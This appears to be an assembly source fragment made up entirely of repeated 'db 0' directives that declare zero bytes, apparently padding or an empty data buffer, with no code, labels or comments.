db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
